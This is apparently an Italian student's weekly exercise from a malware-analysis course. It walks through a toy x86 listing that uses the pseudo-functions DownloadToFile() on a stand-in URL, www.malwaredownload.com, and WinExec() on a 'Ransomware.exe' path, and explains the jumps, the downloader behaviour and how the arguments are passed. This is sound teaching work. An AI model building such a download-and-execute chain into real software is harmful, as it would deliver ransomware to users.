PROGETTO SETTIMANALE

TRACCIA:

Avente il codice dato dall'esercizio, andiamo a rispondere alle seguenti domande:

1. Spiegare, motivandone la risposta, quale salto condizionale effettua il Malware;

2. Disegnare un diagramma di flusso (Prendere come esempio IDA) identificando i salti condizionali (Sia quelli effettuati che quelli non effettuati). Indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati;

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

4. Con rifermento alle istruzioni call presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

TABELLA 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

TABELLA 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

TABELLA 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. Analizzando il codice, possiamo notare che il salto condizionale sarà effettuato dall'istruzione "jz" all'indirizzo 00401068 la quale conduce alla tabella 3 per il seguente motivo:

Inizialmente vengono inizializzati EAX a 5 ed EBX a 10, per poi effettuare un "cmp" al fine di controllare se il valore di EAX-5 risulti 0, abbia un riporto oppure nessuno dei due.
Poiché 5-5 dà come risultato 0, la ZF viene impostata a 1 equindi l'istruzione "jnz" avrà risultato negativo andando avanti col programma.

Successivamente viene incrementato EBX di 1 per poi effettuare anche in questo caso un "cmp", il quale darà come risultato a ZF 1. Siccome il risultato è 0, viene eseguita l'istruzione "jz" saltando all'indirizzo 0040FFAO della terza tabella.

2. DIAGRAMMA DI FLUSSO

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\L User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

3. Da un’attenta analisi questo Malware ha funzionalità di Downloader e lo possiamo notare dalle due API (Application Programming Interface) che vengono chiamate:

-DownloadToFile(): È una pseudo-funzione in cui verrà passata una URL dalla quale verrà scaricato un altro Malware;

-WinExec(): E una pseudo-funzione il cui scopo è quello di eseguire il file malevolo scaricato.

4. Con riferimento alle istruzioni “call” possiamo vedere come nella tabella sottostante nel parametro EAX, passerà al valore EDI l’indirizzo URL.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Mentre in quest’altra tabella possiamo notare come nel registro EDX, viene passato al valore EDI il path del Malware.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione